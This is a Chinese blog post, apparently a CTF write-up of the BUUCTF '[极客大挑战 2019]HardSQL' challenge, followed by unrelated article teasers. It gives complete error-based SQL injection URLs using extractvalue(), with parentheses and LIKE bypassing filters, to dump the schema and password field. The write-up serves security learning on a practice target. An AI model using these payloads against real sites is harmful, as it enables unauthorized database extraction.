CTF-Web-[极客大挑战 2019]HardSQL

逻辑薄雾
• 阅读 4399

CTF-Web-[极客大挑战 2019]HardSQL

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Web类,[极客大挑战 2019]HardSQL

CTF-Web-[极客大挑战 2019]HardSQL

打开题目的实例

CTF-Web-[极客大挑战 2019]HardSQL

思路

SQl的题目,首先试一试万能密码

CTF-Web-[极客大挑战 2019]HardSQL

试一下双写

CTF-Web-[极客大挑战 2019]HardSQL

看来被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入,空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号

使用extractvalue()

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

CTF-Web-[极客大挑战 2019]HardSQL

这一下报错把数据库名给爆出来了

爆表
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

CTF-Web-[极客大挑战 2019]HardSQL

爆字段
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

CTF-Web-[极客大挑战 2019]HardSQL

爆数据

把password查出来

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

CTF-Web-[极客大挑战 2019]HardSQL

flag出来了,不对好像只有一半,使用{left(),right()}

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

CTF-Web-[极客大挑战 2019]HardSQL

拼接起来就是flag了

感谢

BUUCTF

以及勤劳的自己

点赞
收藏
评论区
推荐文章
Wesley13 Wesley13
3年前
DDD领域驱动设计思想——读《DDD实战课》归纳
本文是学习极客时间《DDD实战课》后结合自己思考所整理的归纳总结,课程链接在:DDD实战课基于DDD的微服务拆分与设计(https://www.oschina.net/action/GoToLink?urlhttps%3A%2F%2Ftime.geekbang.org%2Fcolumn%2Fintro%2F238"DDD实战课基于DDD的微服
Wesley13 Wesley13
3年前
Visual Studio 2017 和 Visual Assist X 番茄助手的安装教程
声明:本文所提供的所有软件均来自于互联网,仅供个人研究和学习使用,请勿用于商业用途,下载后请于24小时内删除,请支持正版!一、VisualStudio2017的安装教程VisualStudio2017下载地址:https://visualstudio.microsoft.com/zhhans/downloads/(ht
Stella981 Stella981
3年前
IntelliJ IDEA 2020最新版本可用,有图有真相!
「版权声明」:本教程只做个人学习使用,请勿用于商业用途!如需商业版本,请前往下面官方地址购买,版权归属权为JetBranins公司!资源收集于网络,如有侵权请联系作者删除。若资金允许,请点击 https://www.jetbrains.com/idea/buy/(https://www.oschina.net/action/GoToL
Wesley13 Wesley13
3年前
CTF
CTFPwn\BJDCTF2nd\r2t4博客说明文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!CTP平台网址https://buuoj.cn/cha
Stella981 Stella981
3年前
Electron整合React使用搭建开发环境
Electron整合React使用搭建开发环境博客说明文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!简介用于构建用户界面的JavaScript库步骤首先创建React
可莉 可莉
3年前
12306 抢票系列之只要搞定RAIL_DEVICEID的来源,从此抢票不再掉线(上)
郑重声明:本文仅供学习使用,禁止用于非法用途,否则后果自负,如有侵权,烦请告知删除,谢谢合作!开篇明义本文针对自主开发的抢票脚本在抢票过程中常常遇到的请求无效等问题,简单分析了12306网站的前端加密算法,更准确的说,是探究RAIL_DEVICEID的生成过程.因为该cookie值是抢票请求
可莉 可莉
3年前
12306 抢票系列之只要搞定RAIL_DEVICEID的来源,从此抢票不再掉线(下)
郑重声明:本文仅供学习使用,禁止用于非法用途,否则后果自负,如有侵权,烦请告知删除,谢谢合作!模拟伪装现在已经还原了算法的实现逻辑,下一步就是如何更好地伪造自己,本文提供临时设置的实现方式,方便在不修改之前复现代码的基础上实现扩展,当然也可以直接在还原算法源码中写入伪造代码.值得注意的是,这种Object.de
Wesley13 Wesley13
3年前
IT人必备的14个优质科研类公众号
希望这些NB的公众号能够给你在学习的道路上增光添彩极客视界!(https://oscimg.oschina.net/oscnet/91007182c15a42bb92f666622a9cd544.png)ID:geekview哈喽~这里是「极客
Stella981 Stella981
3年前
12306 抢票系列之只要搞定RAIL_DEVICEID的来源,从此抢票不再掉线(上)
郑重声明:本文仅供学习使用,禁止用于非法用途,否则后果自负,如有侵权,烦请告知删除,谢谢合作!开篇明义本文针对自主开发的抢票脚本在抢票过程中常常遇到的请求无效等问题,简单分析了12306网站的前端加密算法,更准确的说,是探究RAIL_DEVICEID的生成过程.因为该cookie值是抢票请求
Stella981 Stella981
3年前
12306 抢票系列之只要搞定RAIL_DEVICEID的来源,从此抢票不再掉线(下)
郑重声明:本文仅供学习使用,禁止用于非法用途,否则后果自负,如有侵权,烦请告知删除,谢谢合作!模拟伪装现在已经还原了算法的实现逻辑,下一步就是如何更好地伪造自己,本文提供临时设置的实现方式,方便在不修改之前复现代码的基础上实现扩展,当然也可以直接在还原算法源码中写入伪造代码.值得注意的是,这种Object.de
Stella981 Stella981
3年前
Python 分析电影《南方车站的聚会》
前言本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。作者:程序员野客PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http://note.youdao.com/noteshare?id3054cce4add8a909e784ad934f95